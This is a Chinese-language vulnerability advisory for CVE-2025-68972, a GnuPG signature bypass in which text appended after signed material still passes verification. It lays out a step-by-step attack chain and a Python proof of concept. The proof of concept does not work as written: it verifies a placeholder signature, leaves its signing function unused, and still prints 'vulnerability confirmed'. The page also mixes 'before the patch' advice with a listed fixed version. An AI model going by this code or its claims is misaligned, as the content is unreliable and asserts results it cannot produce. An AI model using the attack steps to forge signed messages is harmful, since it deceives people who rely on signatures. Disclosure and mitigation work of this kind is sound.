IPBUF安全漏洞报告
English
CVE-2025-68972 CVSS 5.9 中危

CVE-2025-68972 GnuPG签名验证绕过漏洞

披露日期: 2025-12-27

漏洞信息

漏洞编号
CVE-2025-68972
漏洞类型
签名验证绕过
CVSS评分
5.9 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GnuPG <= 2.4.8

相关标签

GnuPG签名验证绕过OpenPGPCVE-2025-68972密码学漏洞形式验证换页符Armor格式

漏洞概述

CVE-2025-68972是GnuPG软件中的一个签名验证绕过漏洞。该漏洞存在于GnuPG 2.4.8及之前版本中,当签名的消息在明文行末尾包含\f(换页符)时,攻击者可以构造修改后的消息,在签名材料之后放置额外文本,使得修改后消息的签名验证成功(尽管在验证过程中会打印“无效装甲”消息)。这是因为GnuPG使用\f作为标记来表示长明文行的截断。攻击者利用这一特性,可以在不使签名失效的情况下,向已签名的消息附加任意内容,从而绕过签名验证机制。这一漏洞影响GnuPG的OpenPGP签名验证功能,可能被用于伪造看似有效的签名消息,对依赖GnuPG进行消息认证的系统造成安全风险。攻击属于本地攻击向量,需要较低的攻击复杂度,且不需要认证或用户交互。

技术细节

GnuPG在处理OpenPGP签名时使用ASCII armor格式,该格式允许使用\f(换页符)作为长明文行的截断标记。当GnuPG解析签名消息时,它会将\f解释为行截断的信号,继续处理后续内容。漏洞的核心问题在于验证逻辑:当消息中某行以\f结尾时,GnuPG会认为该行被截断,并允许在签名材料之后添加额外文本。攻击者可以利用此特性:1)获取原始签名的消息;2)在消息中的明文行末尾添加\f字符;3)在签名材料后附加恶意内容;4)当受害者验证签名时,签名验证会成功,但附加的恶意内容会被处理。攻击成功的前提是原始消息结构中存在以\f结尾的明文行。虽然验证过程会输出“invalid armor”警告,但签名验证本身仍会返回成功结果,这意味着依赖签名验证结果的应用程序可能会被欺骗。

攻击链分析

STEP 1
步骤1
攻击者获取目标用户使用GnuPG签名的原始消息,该消息包含以\f结尾的明文行
STEP 2
步骤2
攻击者解析签名消息结构,识别签名块的位置(-----BEGIN PGP SIGNATURE-----到-----END PGP SIGNATURE-----)
STEP 3
步骤3
攻击者在签名块之后插入恶意内容,由于\f被解释为行截断标记,GnuPG会继续处理附加内容
STEP 4
步骤4
受害者使用gpg --verify验证修改后的消息,签名验证返回成功(尽管可能打印'invalid armor'警告)
STEP 5
步骤5
如果受害者的应用程序仅检查gpg返回码而不处理警告消息,将错误地认为消息未被篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68972 PoC - GnuPG Signature Verification Bypass This PoC demonstrates how an attacker can append arbitrary content after signed material when the original message contains \f at the end of a plaintext line. """ import subprocess import tempfile import os def create_signed_message_with_formfeed(): """ Create a signed message that contains \f at the end of a plaintext line. This is the first step for exploiting the vulnerability. """ # Original message with form feed at end of line original_message = "This is a test message.\f\nSome additional text." # Create a temporary file for the message with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as f: f.write(original_message) msg_file = f.name # Create a signed message using gpg try: result = subprocess.run( ['gpg', '--batch', '--yes', '--armor', '--sign', '--local-user', 'testkey', msg_file], capture_output=True, text=True, timeout=30 ) print(f"Signing result: {result.returncode}") print(f"Stdout: {result.stdout}") print(f"Stderr: {result.stderr}") except Exception as e: print(f"Error during signing: {e}") finally: os.unlink(msg_file) def modify_signed_message(): """ Modify a signed message by appending content after the signature block. The attack works when the plaintext portion contains \f at end of line. """ # Simulated signed message structure signed_message = """-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nOriginal message text.\f\n-----BEGIN PGP SIGNATURE-----\n\n[Base64 encoded signature]\n-----END PGP SIGNATURE-----\n\n[Malicious appended content]""" # The appended content will be processed after signature verification return signed_message def verify_modified_message(): """ Verify the modified signed message. Despite the "invalid armor" warning, signature verification succeeds. """ modified_msg = modify_signed_message() with tempfile.NamedTemporaryFile(mode='w', suffix='.asc', delete=False) as f: f.write(modified_msg) msg_file = f.name try: # This may show "invalid armor" warning but verification succeeds result = subprocess.run( ['gpg', '--batch', '--verify', msg_file], capture_output=True, text=True, timeout=30 ) print(f"Verification return code: {result.returncode}") print(f"Output: {result.stdout + result.stderr}") # Check if verification succeeded despite warning if result.returncode == 0: print("[+] Signature verification succeeded - vulnerability confirmed!") except Exception as e: print(f"Error during verification: {e}") finally: os.unlink(msg_file) if __name__ == '__main__': print("CVE-2025-68972 PoC - GnuPG Signature Verification Bypass") print("=" * 60) verify_modified_message()

影响范围

GnuPG < 2.4.9
GnuPG 2.4.x <= 2.4.8

防御指南

临时缓解措施
在官方补丁发布之前,用户在验证GnuPG签名时应注意检查所有输出信息,特别是'invalid armor'等警告消息。应用程序应解析GnuPG的完整输出而非仅依赖退出码。建议审查依赖GnuPG签名验证的安全关键系统,确保它们正确处理GnuPG的警告信息。同时,考虑实施额外的消息完整性验证机制作为纵深防御措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表